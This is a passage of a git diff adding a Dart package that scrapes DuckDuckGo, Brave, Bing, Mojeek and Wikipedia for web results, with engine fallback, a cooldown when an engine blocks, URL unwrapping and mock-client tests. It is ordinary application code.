rejects, + # since a named parameter may not begin with an underscore. Following it + # would mean renaming public API to suit a linter. + prefer_initializing_formals: false diff --git a/packages/conduit_ddgs/lib/conduit_ddgs.dart b/packages/conduit_ddgs/lib/conduit_ddgs.dart new file mode 100644 index 000000000..661d17b3c --- /dev/null +++ b/packages/conduit_ddgs/lib/conduit_ddgs.dart @@ -0,0 +1,16 @@ +/// Web search without a search service: scrapes DuckDuckGo, Brave, Bing and +/// Mojeek, with Wikipedia's API as a last resort. +/// +/// Derived from the MIT-licensed `ddgs` package; see `VENDORED.md`. +library; + +export 'src/ddgs.dart'; +export 'src/engine.dart' show SearchEngine, SearchEngineRequest; +export 'src/engines/bing.dart' show BingEngine; +export 'src/engines/brave.dart' show BraveEngine; +export 'src/engines/duckduckgo.dart' show DuckDuckGoEngine; +export 'src/engines/mojeek.dart' show MojeekEngine; +export 'src/engines/wikipedia.dart' show WikipediaEngine; +export 'src/exceptions.dart'; +export 'src/search_query.dart'; +export 'src/search_result.dart'; diff --git a/packages/conduit_ddgs/lib/src/ddgs.dart b/packages/conduit_ddgs/lib/src/ddgs.dart new file mode 100644 index 000000000..0d8ae336c --- /dev/null +++ b/packages/conduit_ddgs/lib/src/ddgs.dart @@ -0,0 +1,284 @@ +import 'dart:async'; +import 'dart:convert'; + +import 'package:http/http.dart' as http; +import 'package:meta/meta.dart'; + +import 'engine.dart'; +import 'engines/bing.dart'; +import 'engines/brave.dart'; +import 'engines/duckduckgo.dart'; +import 'engines/mojeek.dart'; +import 'engines/wikipedia.dart'; +import 'exceptions.dart'; +import 'search_query.dart'; +import 'search_result.dart'; + +/// A desktop Chrome user agent. The scrapers target desktop markup; a mobile +/// agent gets different (and differently broken) HTML from every engine. +const String kDdgsDefaultUserAgent = + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 ' + '(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'; + +/// The outcome of [Ddgs.search]. +@immutable +final class WebSearchResponse { + WebSearchResponse({ + required Iterable results, + required this.engine, + Iterable failures = const [], + }) : results = List.unmodifiable(results), + failures = List.unmodifiable(failures); + + final List results; + + /// The engine that answered, or `null` when every engine that responded + /// had no results. + final SearchEngineId? engine; + + /// Engines that were tried first and failed. + final List failures; +} + +/// Metasearch over the scraped engines. +/// +/// [search] tries engines one at a time and stops at the first that returns +/// results, so a query touches as few services as possible. An engine that +/// answers with a captcha or rate limit is skipped for [blockedCooldown] +/// instead of being retried on every query. +/// +/// The caller owns [client] and closes it. +final class Ddgs { + Ddgs({ + required http.Client client, + this.requestTimeout = const Duration(seconds: 8), + this.blockedCooldown = const Duration(minutes: 10), + this.maxResponseBytes = 4 * 1024 * 1024, + this.userAgent = kDdgsDefaultUserAgent, + DateTime Function()? clock, + Map? engines, + }) : _client = client, + _clock = clock ?? DateTime.now, + _engines = engines ?? defaultEngines; + + /// The order `Auto` tries engines in. Wikipedia is last because it only + /// covers encyclopedic topics. + static const List autoOrder = [ + SearchEngineId.duckduckgo, + SearchEngineId.brave, + SearchEngineId.bing, + SearchEngineId.mojeek, + SearchEngineId.wikipedia, + ]; + + static const Map defaultEngines = { + SearchEngineId.duckduckgo: DuckDuckGoEngine(), + SearchEngineId.brave: BraveEngine(), + SearchEngineId.bing: BingEngine(), + SearchEngineId.mojeek: MojeekEngine(), + SearchEngineId.wikipedia: WikipediaEngine(), + }; + + final http.Client _client; + final DateTime Function() _clock; + final Map _engines; + final Map _blockedUntil = {}; + + final Duration requestTimeout; + final Duration blockedCooldown; + final int maxResponseBytes; + final String userAgent; + + /// When [engine] may be tried again after a block, or `null` if it isn't + /// cooling down. + DateTime? cooldownUntil(SearchEngineId engine) { + final until = _blockedUntil[engine]; + if (until == null) return null; + if (!_clock().isBefore(until)) { + _blockedUntil.remove(engine); + return null; + } + return until; + } + + /// Searches [query]. + /// + /// With [engine] set, only that engine is used: a user who picks an engine + /// has chosen who sees their queries, so there is no silent fallback. + /// Otherwise engines are tried in [autoOrder]. + /// + /// Throws [WebSearchUnavailableException] when no engine could answer and + /// [WebSearchCancelledException] when [cancel] completes first. + Future search( + SearchQuery query, { + SearchEngineId? engine, + int maxResults = 10, + Future? cancel, + }) async { + if (maxResults < 1) { + throw ArgumentError.value(maxResults, 'maxResults', 'Must be positive'); + } + var cancelled = false; + unawaited(cancel?.then((_) => cancelled = true)); + + final failures = []; + var anyAnswered = false; + for (final id in engine == null ? autoOrder : [engine]) { + if (cancelled) throw const WebSearchCancelledException(); + final impl = _engines[id]; + if (impl == null) continue; + if (cooldownUntil(id) != null) { + failures.add( + SearchEngineException(id, SearchEngineFailureKind.blocked), + ); + continue; + } + try { + final results = await _run(impl, query, cancel); + anyAnswered = true; + if (results.isEmpty) continue; + return WebSearchResponse( + results: _dedupe(results).take(maxResults), + engine: id, + failures: failures, + ); + } on SearchEngineException catch (failure) { + if (cancelled) throw const WebSearchCancelledException(); + if (failure.kind == SearchEngineFailureKind.blocked) { + _blockedUntil[id] = _clock().add(blockedCooldown); + } + failures.add(failure); + } + } + if (cancelled) throw const WebSearchCancelledException(); + if (anyAnswered) { + return WebSearchResponse( + results: const [], + engine: null, + failures: failures, + ); + } + throw WebSearchUnavailableException(failures); + } + + Future> _run( + SearchEngine engine, + SearchQuery query, + Future? cancel, + ) async { + final spec = engine.buildRequest(query); + final abort = Completer(); + void fire() { + if (!abort.isCompleted) abort.complete(); + } + + var timedOut = false; + final timer = Timer(requestTimeout, () { + timedOut = true; + fire(); + }); + unawaited(cancel?.then((_) => fire())); + + final request = http.AbortableRequest( + spec.method, + spec.url, + abortTrigger: abort.future, + ); + request.headers.addAll({ + 'User-Agent': userAgent, + 'Accept': + 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language': query.region.acceptLanguage, + ...spec.headers, + }); + if (spec.form case final form?) request.bodyFields = form; + + // Clients that honour `abortTrigger` stop the transfer; racing the abort + // signal as well keeps the timeout and cancellation working with clients + // that don't. + final exchange = () async { + final response = await _client.send(request); + return (response.statusCode, await _readBody(response)); + }(); + final aborted = abort.future.then<(int, String)>( + (_) => throw http.RequestAbortedException(spec.url), + ); + exchange.ignore(); + aborted.ignore(); + + try { + final (statusCode, body) = await Future.any([exchange, aborted]); + if (engine.isBlocked(statusCode, body)) { + throw SearchEngineException( + engine.id, + SearchEngineFailureKind.blocked, + statusCode: statusCode, + ); + } + if (statusCode != 200) { + throw SearchEngineException( + engine.id, + SearchEngineFailureKind.http, + statusCode: statusCode, + ); + } + return engine.parse(body, query); + } on SearchEngineException { + rethrow; + } on http.RequestAbortedException { + throw SearchEngineException( + engine.id, + timedOut + ? SearchEngineFailureKind.timeout + : SearchEngineFailureKind.network, + ); + } on http.ClientException { + throw SearchEngineException(engine.id, SearchEngineFailureKind.network); + } on Exception { + // TLS handshake failures and the like are not always wrapped in a + // ClientException. + throw SearchEngineException(engine.id, SearchEngineFailureKind.network); + } finally { + timer.cancel(); + fire(); + } + } + + /// Reads at most [maxResponseBytes]; results live near the top of a page, + /// so a truncated body still parses. + Future _readBody(http.StreamedResponse response) async { + final bytes = []; + await for (final chunk in response.stream) { + final room = maxResponseBytes - bytes.length; + if (chunk.length >= room) { + bytes.addAll(chunk.take(room)); + break; + } + bytes.addAll(chunk); + } + return utf8.decode(bytes, allowMalformed: true); + } + + /// Drops repeated URLs, keeping the first position but the most + /// informative copy: DuckDuckGo, for one, leads with an "Official site" + /// card for a URL that the next organic result describes properly. + static List _dedupe(List results) { + final indexByKey = {}; + final unique = []; + for (final result in results) { + final url = result.url; + final path = url.path.endsWith('/') + ? url.path.substring(0, url.path.length - 1) + : url.path; + final key = '${url.host.toLowerCase()}$path?${url.query}'; + final index = indexByKey[key]; + if (index == null) { + indexByKey[key] = unique.length; + unique.add(result); + } else if (result.snippet.length > unique[index].snippet.length) { + unique[index] = result; + } + } + return unique; + } +} diff --git a/packages/conduit_ddgs/lib/src/engine.dart b/packages/conduit_ddgs/lib/src/engine.dart new file mode 100644 index 000000000..25e44765d --- /dev/null +++ b/packages/conduit_ddgs/lib/src/engine.dart @@ -0,0 +1,96 @@ +import 'package:html/dom.dart'; +import 'package:html/parser.dart' as html_parser; +import 'package:meta/meta.dart'; + +import 'search_query.dart'; +import 'search_result.dart'; + +/// The HTTP request an engine wants sent for a query. +@immutable +final class SearchEngineRequest { + SearchEngineRequest.get(this.url, {Map headers = const {}}) + : method = 'GET', + headers = Map.unmodifiable(headers), + form = null; + + SearchEngineRequest.post( + this.url, { + required Map form, + Map headers = const {}, + }) : method = 'POST', + headers = Map.unmodifiable(headers), + form = Map.unmodifiable(form); + + final String method; + final Uri url; + + /// Merged over the transport's defaults (user agent, `Accept`, + /// `Accept-Language`), so an engine can override any of them. + final Map headers; + + /// `application/x-www-form-urlencoded` body for POST requests. + final Map? form; +} + +/// One scraped search backend. +/// +/// Engines are pure: they build a request and parse a response body. The +/// transport, timeouts, cancellation and fallback live in `Ddgs`, which is +/// what makes each engine testable against a saved fixture. +abstract base class SearchEngine { + const SearchEngine(); + + SearchEngineId get id; + + SearchEngineRequest buildRequest(SearchQuery query); + + /// Whether a response is a captcha, bot challenge or rate limit rather + /// than a results page. Checked before [parse], for every status code. + bool isBlocked(int statusCode, String body) => + statusCode == 429 || statusCode == 403; + + /// Extracts organic results from a successful response body. + List parse(String body, SearchQuery query); +} + +/// Parses an HTML document. Helpers below are shared by the engines and are +/// not exported from the package. +Document parseHtml(String body) => html_parser.parse(body); + +/// Collapses runs of whitespace (including newlines inside markup) to single +/// spaces. +String cleanText(String? text) { + if (text == null) return ''; + return text.replaceAll(_whitespace, ' ').trim(); +} + +final RegExp _whitespace = RegExp(r'\s+'); + +/// Text content of an HTML fragment, e.g. a snippet with `` highlights. +String fragmentText(String? html) { + if (html == null || html.isEmpty) return ''; + return cleanText(html_parser.parseFragment(html).text); +} + +/// Parses [raw] into an absolute `http`/`https` URL, or `null` if it isn't +/// one. Protocol-relative links (`//host/path`) are treated as `https`. +Uri? parseResultUrl(String? raw) { + var candidate = raw?.trim(); + if (candidate == null || candidate.isEmpty) return null; + if (candidate.startsWith('//')) candidate = 'https:$candidate'; + final uri = Uri.tryParse(candidate); + if (uri == null || !uri.hasAuthority || uri.host.isEmpty) return null; + if (uri.scheme != 'http' && uri.scheme != 'https') return null; + return uri; +} + +/// The `` of a page, lower-cased, for block detection. +String lowerCaseTitle(String body) { + final match = _title.firstMatch(body); + return match == null ? '' : match.group(1)!.toLowerCase(); +} + +final RegExp _title = RegExp( + r'<title[^>]*>([^<]*)', + caseSensitive: false, +); diff --git a/packages/conduit_ddgs/lib/src/engines/bing.dart b/packages/conduit_ddgs/lib/src/engines/bing.dart new file mode 100644 index 000000000..06f26351b --- /dev/null +++ b/packages/conduit_ddgs/lib/src/engines/bing.dart @@ -0,0 +1,112 @@ +import 'dart:convert'; + +import '../engine.dart'; +import '../search_query.dart'; +import '../search_result.dart'; + +/// Bing's HTML results page. +/// +/// Result links go through `bing.com/ck/a?...&u=a1`; the +/// target is decoded rather than followed. +final class BingEngine extends SearchEngine { + const BingEngine(); + + @override + SearchEngineId get id => SearchEngineId.bing; + + @override + SearchEngineRequest buildRequest(SearchQuery query) { + final region = query.region; + final country = region.isoCountry; + final adult = switch (query.safeSearch) { + SafeSearch.strict => ('strict', 'STRICT'), + SafeSearch.moderate => ('moderate', 'DEMOTE'), + SafeSearch.off => ('off', 'OFF'), + }; + return SearchEngineRequest.get( + Uri.https('www.bing.com', '/search', { + 'q': query.text, + 'adlt': adult.$1, + if (!region.isWorldwide) 'setlang': region.language, + if (country != null) ...{ + 'mkt': '${region.language}-${country.toUpperCase()}', + 'cc': country, + }, + if (query.timeLimit case final limit?) 'filters': _timeFilter(limit), + }), + headers: {'Cookie': 'SRCHHPGUSR=ADLT=${adult.$2}'}, + ); + } + + @override + bool isBlocked(int statusCode, String body) { + if (super.isBlocked(statusCode, body)) return true; + // Normal result pages mention "challenge" in inline scripts, so only a + // page without a results list counts. + return !body.contains('id="b_results"') && + body.toLowerCase().contains('captcha'); + } + + @override + List parse(String body, SearchQuery query) { + final results = []; + for (final item in parseHtml(body).querySelectorAll('li.b_algo')) { + final link = item.querySelector('h2 a'); + final url = unwrapBingUrl(link?.attributes['href']); + final title = cleanText(link?.text); + if (url == null || title.isEmpty) continue; + final caption = + item.querySelector('.b_caption p') ?? + item.querySelector('.b_caption'); + caption?.querySelectorAll('.b_algoReadMore').forEach((e) => e.remove()); + results.add( + WebSearchResult( + title: title, + url: url, + snippet: cleanText(caption?.text), + engine: id, + ), + ); + } + return results; + } + + static String _timeFilter(SearchTimeLimit limit) { + switch (limit) { + case SearchTimeLimit.day: + return 'ex1:"ez1"'; + case SearchTimeLimit.week: + return 'ex1:"ez2"'; + case SearchTimeLimit.month: + return 'ex1:"ez3"'; + case SearchTimeLimit.year: + final today = + DateTime.now().toUtc().millisecondsSinceEpoch ~/ + Duration.millisecondsPerDay; + return 'ex1:"ez5_${today - 365}_$today"'; + } + } +} + +/// Resolves a Bing result link to its target. Direct links pass through, +/// click-tracking links are decoded, and ad links return `null`. +Uri? unwrapBingUrl(String? href) { + final uri = parseResultUrl(href); + if (uri == null) return null; + final host = uri.host; + if (host != 'bing.com' && !host.endsWith('.bing.com')) return uri; + if (uri.path != '/ck/a') return null; + final wrapped = uri.queryParameters['u']; + if (wrapped == null || wrapped.length <= 2) return null; + // `a1` is Bing's version prefix; the rest is unpadded base64url. + final encoded = wrapped.substring(2); + final padded = encoded.padRight( + encoded.length + (4 - encoded.length % 4) % 4, + '=', + ); + try { + return parseResultUrl(utf8.decode(base64Url.decode(padded))); + } on FormatException { + return null; + } +} diff --git a/packages/conduit_ddgs/lib/src/engines/brave.dart b/packages/conduit_ddgs/lib/src/engines/brave.dart new file mode 100644 index 000000000..232fd4647 --- /dev/null +++ b/packages/conduit_ddgs/lib/src/engines/brave.dart @@ -0,0 +1,76 @@ +import '../engine.dart'; +import '../search_query.dart'; +import '../search_result.dart'; + +/// Brave Search's server-rendered results page. +/// +/// Region and safe search are cookies rather than query parameters. +final class BraveEngine extends SearchEngine { + const BraveEngine(); + + @override + SearchEngineId get id => SearchEngineId.brave; + + @override + SearchEngineRequest buildRequest(SearchQuery query) { + final safeSearch = switch (query.safeSearch) { + SafeSearch.strict => 'strict', + SafeSearch.moderate => 'moderate', + SafeSearch.off => 'off', + }; + final country = query.region.isoCountry ?? 'all'; + return SearchEngineRequest.get( + Uri.https('search.brave.com', '/search', { + 'q': query.text, + 'source': 'web', + if (query.timeLimit case final limit?) 'tf': _timeLimit(limit), + }), + headers: { + 'Cookie': 'country=$country; safesearch=$safeSearch; useLocation=0', + }, + ); + } + + @override + bool isBlocked(int statusCode, String body) => + super.isBlocked(statusCode, body) || + lowerCaseTitle(body).contains('captcha'); + + @override + List parse(String body, SearchQuery query) { + final results = []; + final items = parseHtml(body) + .querySelectorAll('div.snippet[data-type="web"]'); + for (final item in items) { + final link = + item.querySelector('.result-content > a[href]') ?? + item.querySelector('a[href]'); + final url = parseResultUrl(link?.attributes['href']); + if (url == null || url.host.endsWith('brave.com')) continue; + final titleElement = item.querySelector('.search-snippet-title'); + final title = cleanText( + titleElement?.attributes['title'] ?? titleElement?.text, + ); + if (title.isEmpty) continue; + final snippet = + item.querySelector('.generic-snippet .content') ?? + item.querySelector('.snippet-description'); + results.add( + WebSearchResult( + title: title, + url: url, + snippet: cleanText(snippet?.text), + engine: id, + ), + ); + } + return results; + } + + static String _timeLimit(SearchTimeLimit limit) => switch (limit) { + SearchTimeLimit.day => 'pd', + SearchTimeLimit.week => 'pw', + SearchTimeLimit.month => 'pm', + SearchTimeLimit.year => 'py', + }; +} diff --git a/packages/conduit_ddgs/lib/src/engines/duckduckgo.dart b/packages/conduit_ddgs/lib/src/engines/duckduckgo.dart new file mode 100644 index 000000000..9c49f0932 --- /dev/null +++ b/packages/conduit_ddgs/lib/src/engines/duckduckgo.dart @@ -0,0 +1,84 @@ +import '../engine.dart'; +import '../search_query.dart'; +import '../search_result.dart'; + +/// DuckDuckGo's JavaScript-free HTML endpoint. +/// +/// DuckDuckGo answers bots with HTTP 202 and an image challenge +/// (`anomaly-modal`) rather than an error status, so block detection looks +/// at the body as well as the status. +final class DuckDuckGoEngine extends SearchEngine { + const DuckDuckGoEngine(); + + static final Uri _endpoint = Uri.parse('https://html.duckduckgo.com/html/'); + + @override + SearchEngineId get id => SearchEngineId.duckduckgo; + + @override + SearchEngineRequest buildRequest(SearchQuery query) { + return SearchEngineRequest.post( + _endpoint, + form: { + 'q': query.text, + 'b': '', + 'kl': query.region.code, + 'kp': switch (query.safeSearch) { + SafeSearch.strict => '1', + SafeSearch.moderate => '-1', + SafeSearch.off => '-2', + }, + if (query.timeLimit case final limit?) 'df': _timeLimit(limit), + }, + headers: const {'Referer': 'https://html.duckduckgo.com/'}, + ); + } + + @override + bool isBlocked(int statusCode, String body) => + super.isBlocked(statusCode, body) || + statusCode == 202 || + body.contains('anomaly-modal') || + body.contains('id="challenge-form"'); + + @override + List parse(String body, SearchQuery query) { + final results = []; + for (final item in parseHtml(body).querySelectorAll('div.result')) { + if (item.classes.contains('result--ad')) continue; + final link = item.querySelector('a.result__a'); + final url = _unwrap(link?.attributes['href']); + final title = cleanText(link?.text); + if (url == null || title.isEmpty) continue; + results.add( + WebSearchResult( + title: title, + url: url, + snippet: cleanText(item.querySelector('.result__snippet')?.text), + engine: id, + ), + ); + } + return results; + } + + /// Result links are either direct or wrapped as + /// `//duckduckgo.com/l/?uddg=`; ads go through `y.js`. + static Uri? _unwrap(String? href) { + final uri = parseResultUrl(href); + if (uri == null) return null; + if (!_isDuckDuckGoHost(uri.host)) return uri; + if (uri.path == '/l/') return parseResultUrl(uri.queryParameters['uddg']); + return null; + } + + static bool _isDuckDuckGoHost(String host) => + host == 'duckduckgo.com' || host.endsWith('.duckduckgo.com'); + + static String _timeLimit(SearchTimeLimit limit) => switch (limit) { + SearchTimeLimit.day => 'd', + SearchTimeLimit.week => 'w', + SearchTimeLimit.month => 'm', + SearchTimeLimit.year => 'y', + }; +} diff --git a/packages/conduit_ddgs/lib/src/engines/mojeek.dart b/packages/conduit_ddgs/lib/src/engines/mojeek.dart new file mode 100644 index 000000000..8a902cf2e --- /dev/null +++ b/packages/conduit_ddgs/lib/src/engines/mojeek.dart @@ -0,0 +1,53 @@ +import '../engine.dart'; +import '../search_query.dart'; +import '../search_result.dart'; + +/// Mojeek, an independent index with a plain HTML results page. +final class MojeekEngine extends SearchEngine { + const MojeekEngine(); + + @override + SearchEngineId get id => SearchEngineId.mojeek; + + @override + SearchEngineRequest buildRequest(SearchQuery query) { + final region = query.region; + final country = region.isoCountry; + return SearchEngineRequest.get( + Uri.https('www.mojeek.com', '/search', { + 'q': query.text, + if (query.safeSearch == SafeSearch.strict) 'safe': '1', + if (!region.isWorldwide) 'lb': region.language, + 'arc': ?country, + }), + ); + } + + @override + bool isBlocked(int statusCode, String body) => + super.isBlocked(statusCode, body) || + lowerCaseTitle(body).contains('captcha') || + body.contains('class="captcha-wrap"'); + + @override + List parse(String body, SearchQuery query) { + final results = []; + final items = parseHtml(body).querySelectorAll('ul.results-standard > li'); + for (final item in items) { + final link = + item.querySelector('h2 a[href]') ?? item.querySelector('a.title'); + final url = parseResultUrl(link?.attributes['href']); + final title = cleanText(link?.text); + if (url == null || title.isEmpty) continue; + results.add( + WebSearchResult( + title: title, + url: url, + snippet: cleanText(item.querySelector('p.s')?.text), + engine: id, + ), + ); + } + return results; + } +} diff --git a/packages/conduit_ddgs/lib/src/engines/wikipedia.dart b/packages/conduit_ddgs/lib/src/engines/wikipedia.dart new file mode 100644 index 000000000..7d818bbbc --- /dev/null +++ b/packages/conduit_ddgs/lib/src/engines/wikipedia.dart @@ -0,0 +1,73 @@ +import 'dart:convert'; + +import '../engine.dart'; +import '../search_query.dart'; +import '../search_result.dart'; + +/// Wikipedia's search API, in the region's language. +/// +/// This is the one real API in the set, so it is the last-resort fallback: +/// it rarely blocks, but only covers encyclopedic topics. +final class WikipediaEngine extends SearchEngine { + const WikipediaEngine(); + + /// Wikipedia's API etiquette asks clients to identify themselves. + static const String userAgent = + 'Conduit/1.0 (https://github.com/cogwheel0/conduit) conduit_ddgs'; + + @override + SearchEngineId get id => SearchEngineId.wikipedia; + + @override + SearchEngineRequest buildRequest(SearchQuery query) { + return SearchEngineRequest.get( + Uri.https(_host(query), '/w/api.php', { + 'action': 'query', + 'list': 'search', + 'srsearch': query.text, + 'srprop': 'snippet', + 'srlimit': '10', + 'format': 'json', + 'utf8': '1', + }), + headers: const {'User-Agent': userAgent, 'Accept': 'application/json'}, + ); + } + + @override + List parse(String body, SearchQuery query) { + final Object? decoded; + try { + decoded = jsonDecode(body); + } on FormatException { + return const []; + } + if (decoded is! Map) return const []; + final search = switch (decoded['query']) { + final Map q => q['search'], + _ => null, + }; + if (search is! List) return const []; + + final host = _host(query); + final results = []; + for (final entry in search) { + if (entry is! Map) continue; + final title = entry['title']; + if (title is! String || title.trim().isEmpty) continue; + final snippet = entry['snippet']; + results.add( + WebSearchResult( + title: title.trim(), + url: Uri.https(host, '/wiki/${title.trim().replaceAll(' ', '_')}'), + snippet: fragmentText(snippet is String ? snippet : null), + engine: id, + ), + ); + } + return results; + } + + static String _host(SearchQuery query) => + '${query.region.language}.wikipedia.org'; +} diff --git a/packages/conduit_ddgs/lib/src/exceptions.dart b/packages/conduit_ddgs/lib/src/exceptions.dart new file mode 100644 index 000000000..7d908ce69 --- /dev/null +++ b/packages/conduit_ddgs/lib/src/exceptions.dart @@ -0,0 +1,56 @@ +import 'search_result.dart'; + +/// Why a single engine produced no usable response. +enum SearchEngineFailureKind { + /// A captcha, bot challenge or rate limit. The engine is cooled down. + blocked, + + /// A non-success HTTP status that isn't a block. + http, + + /// DNS, TLS or socket failure. + network, + + /// No response within the request timeout. + timeout, +} + +/// One engine failed. `Ddgs.search` records these and moves on; they only +/// surface through [WebSearchUnavailableException] or +/// `WebSearchResponse.failures`. +final class SearchEngineException implements Exception { + const SearchEngineException(this.engine, this.kind, {this.statusCode}); + + final SearchEngineId engine; + final SearchEngineFailureKind kind; + final int? statusCode; + + @override + String toString() { + final status = statusCode == null ? '' : ' (HTTP $statusCode)'; + return 'SearchEngineException: ${engine.displayName} ${kind.name}$status'; + } +} + +/// Every engine that was tried failed, or every engine was cooling down. +final class WebSearchUnavailableException implements Exception { + WebSearchUnavailableException(Iterable failures) + : failures = List.unmodifiable(failures); + + final List failures; + + /// True when at least one engine refused with a captcha or rate limit. + bool get wasBlocked => + failures.any((f) => f.kind == SearchEngineFailureKind.blocked); + + @override + String toString() => 'WebSearchUnavailableException: ${failures.join(', ')}'; +} + +/// The caller's cancel signal fired before the search finished. +final class WebSearchCancelledException implements Exception { + const WebSearchCancelledException(); + + @override + String toString() => 'WebSearchCancelledException'; +} diff --git a/packages/conduit_ddgs/lib/src/search_query.dart b/packages/conduit_ddgs/lib/src/search_query.dart new file mode 100644 index 000000000..4090d7f72 --- /dev/null +++ b/packages/conduit_ddgs/lib/src/search_query.dart @@ -0,0 +1,112 @@ +import 'package:meta/meta.dart'; + +/// How strictly engines filter adult content. +enum SafeSearch { strict, moderate, off } + +/// Restricts results to pages published or updated within a window. +enum SearchTimeLimit { day, week, month, year } + +/// A search region in DuckDuckGo's `country-language` form: `us-en`, +/// `de-de`, `tw-tzh`, or [worldwide] (`wt-wt`). +/// +/// DuckDuckGo's codes are the lingua franca here because they are what the +/// upstream library and most metasearch settings use; each engine maps them +/// onto its own parameters. +@immutable +final class SearchRegion { + const SearchRegion._(this.code); + + /// Parses [code], throwing [ArgumentError] when it is not a + /// `country-language` pair. + factory SearchRegion(String code) { + final normalized = code.trim().toLowerCase(); + if (!_pattern.hasMatch(normalized)) { + throw ArgumentError.value( + code, + 'code', + 'Expected a `country-language` region code such as `us-en`', + ); + } + return normalized == worldwide.code + ? worldwide + : SearchRegion._(normalized); + } + + /// No regional bias. + static const SearchRegion worldwide = SearchRegion._('wt-wt'); + + static final RegExp _pattern = RegExp(r'^[a-z]{2}-[a-z]{2,3}$'); + + /// DuckDuckGo-style codes whose country half is not an ISO 3166 code. + static const Map _isoCountries = {'uk': 'gb'}; + + /// Pseudo-countries (Arabia, Latin America) that other engines can't + /// express as a single market. + static const Set _multiCountry = {'xa', 'xl'}; + + final String code; + + bool get isWorldwide => identical(this, worldwide) || code == worldwide.code; + + /// Lower-case ISO 3166-1 alpha-2 country, or `null` for [worldwide] and + /// multi-country regions. + String? get isoCountry { + if (isWorldwide) return null; + final raw = code.substring(0, 2); + if (_multiCountry.contains(raw)) return null; + return _isoCountries[raw] ?? raw; + } + + /// DuckDuckGo-style language halves that are not ISO 639-1 codes. + static const Map _isoLanguages = { + 'tzh': 'zh', + 'jp': 'ja', + 'kr': 'ko', + }; + + /// ISO 639-1 language, e.g. `ja` for DuckDuckGo's `jp-jp`. + String get language { + if (isWorldwide) return 'en'; + final raw = code.substring(3); + return _isoLanguages[raw] ?? raw; + } + + /// An `Accept-Language` value that matches this region. + String get acceptLanguage { + final country = isoCountry; + final primary = country == null + ? language + : '$language-${country.toUpperCase()}'; + if (language == 'en') return '$primary,en;q=0.9'; + return '$primary,$language;q=0.9,en;q=0.5'; + } + + @override + bool operator ==(Object other) => other is SearchRegion && other.code == code; + + @override + int get hashCode => code.hashCode; + + @override + String toString() => code; +} + +/// One text search. +@immutable +final class SearchQuery { + SearchQuery( + String text, { + this.region = SearchRegion.worldwide, + this.safeSearch = SafeSearch.moderate, + this.timeLimit, + }) : text = text.trim() { + if (this.text.isEmpty) { + throw ArgumentError.value(text, 'text', 'A search query is required'); + } + } + + final String text; + final SearchRegion region; + final SafeSearch safeSearch; + final SearchTimeLimit? timeLimit; +} diff --git a/packages/conduit_ddgs/lib/src/search_result.dart b/packages/conduit_ddgs/lib/src/search_result.dart new file mode 100644 index 000000000..bdfca9e0a --- /dev/null +++ b/packages/conduit_ddgs/lib/src/search_result.dart @@ -0,0 +1,44 @@ +import 'package:meta/meta.dart'; + +/// The engines this package can scrape. +enum SearchEngineId { + duckduckgo('DuckDuckGo'), + brave('Brave'), + bing('Bing'), + mojeek('Mojeek'), + wikipedia('Wikipedia'); + + const SearchEngineId(this.displayName); + + /// The engine's brand name. Not localized. + final String displayName; + + static SearchEngineId? tryParse(String? name) { + for (final id in values) { + if (id.name == name) return id; + } + return null; + } +} + +/// One organic web result. +@immutable +final class WebSearchResult { + const WebSearchResult({ + required this.title, + required this.url, + required this.snippet, + required this.engine, + }); + + final String title; + + /// Always an absolute `http` or `https` URL, unwrapped from any engine + /// redirector. + final Uri url; + final String snippet; + final SearchEngineId engine; + + @override + String toString() => 'WebSearchResult($engine, $url)'; +} diff --git a/packages/conduit_ddgs/pubspec.yaml b/packages/conduit_ddgs/pubspec.yaml new file mode 100644 index 000000000..ca1245811 --- /dev/null +++ b/packages/conduit_ddgs/pubspec.yaml @@ -0,0 +1,20 @@ +name: conduit_ddgs +description: >- + Pure-Dart web search scrapers (DuckDuckGo, Brave, Bing, Mojeek, Wikipedia) + derived from the MIT-licensed `ddgs` package. Lets on-device models search + the web without an external search service. +version: 0.1.0 +publish_to: 'none' +resolution: workspace + +environment: + sdk: ">=3.13.0 <4.0.0" + +dependencies: + html: ^0.15.6 + http: ^1.5.0 + meta: ^1.16.0 + +dev_dependencies: + lints: ^6.0.0 + test: ^1.25.0 diff --git a/packages/conduit_ddgs/test/ddgs_test.dart b/packages/conduit_ddgs/test/ddgs_test.dart new file mode 100644 index 000000000..188ee8579 --- /dev/null +++ b/packages/conduit_ddgs/test/ddgs_test.dart @@ -0,0 +1,152 @@ +import 'dart:async'; +import 'dart:io'; + +import 'package:conduit_ddgs/conduit_ddgs.dart'; +import 'package:http/http.dart' as http; +import 'package:http/testing.dart'; +import 'package:test/test.dart'; + +String fixture(String name) => File('test/fixtures/$name').readAsStringSync(); + +typedef Route = FutureOr Function(http.Request request); + +/// A client that answers per engine host and records which hosts were hit. +final class FakeEngines { + FakeEngines(this.routes); + + final Map routes; + final List hosts = []; + + late final http.Client client = MockClient((request) async { + hosts.add(request.url.host); + final route = routes[request.url.host]; + if (route == null) return http.Response('', 404); + return route(request); + }); +} + +const _ddg = 'html.duckduckgo.com'; +const _brave = 'search.brave.com'; +const _bing = 'www.bing.com'; + +http.Response _html(String body, [int status = 200]) => http.Response( + body, + status, + headers: {'content-type': 'text/html; charset=utf-8'}, +); + +void main() { + final query = SearchQuery('dart programming language'); + + test('Auto falls back past a blocked engine and cools it down', () async { + var now = DateTime(2026, 9, 29, 12); + final fake = FakeEngines({ + _ddg: (_) => _html(fixture('duckduckgo_captcha.html'), 202), + _brave: (_) => _html(fixture('brave_results.html')), + }); + final ddgs = Ddgs(client: fake.client, clock: () => now); + + final first = await ddgs.search(query, maxResults: 3); + expect(first.engine, SearchEngineId.brave); + expect(first.results, hasLength(3)); + expect(first.failures.single.engine, SearchEngineId.duckduckgo); + expect(first.failures.single.kind, SearchEngineFailureKind.blocked); + + // Within the cooldown DuckDuckGo is not contacted at all. + await ddgs.search(query); + expect(fake.hosts.where((h) => h == _ddg), hasLength(1)); + + now = now.add(const Duration(minutes: 11)); + await ddgs.search(query); + expect(fake.hosts.where((h) => h == _ddg), hasLength(2)); + }); + + test( + 'a repeated URL keeps its first position and its best description', + () async { + final fake = FakeEngines({ + _ddg: (_) => _html(fixture('duckduckgo_results.html')), + }); + final response = await Ddgs(client: fake.client).search(query); + + final dartDev = response.results + .where((r) => r.url.host == 'dart.dev' && r.url.path.length <= 1) + .toList(); + expect(dartDev, hasLength(1)); + expect(response.results.first, same(dartDev.single)); + 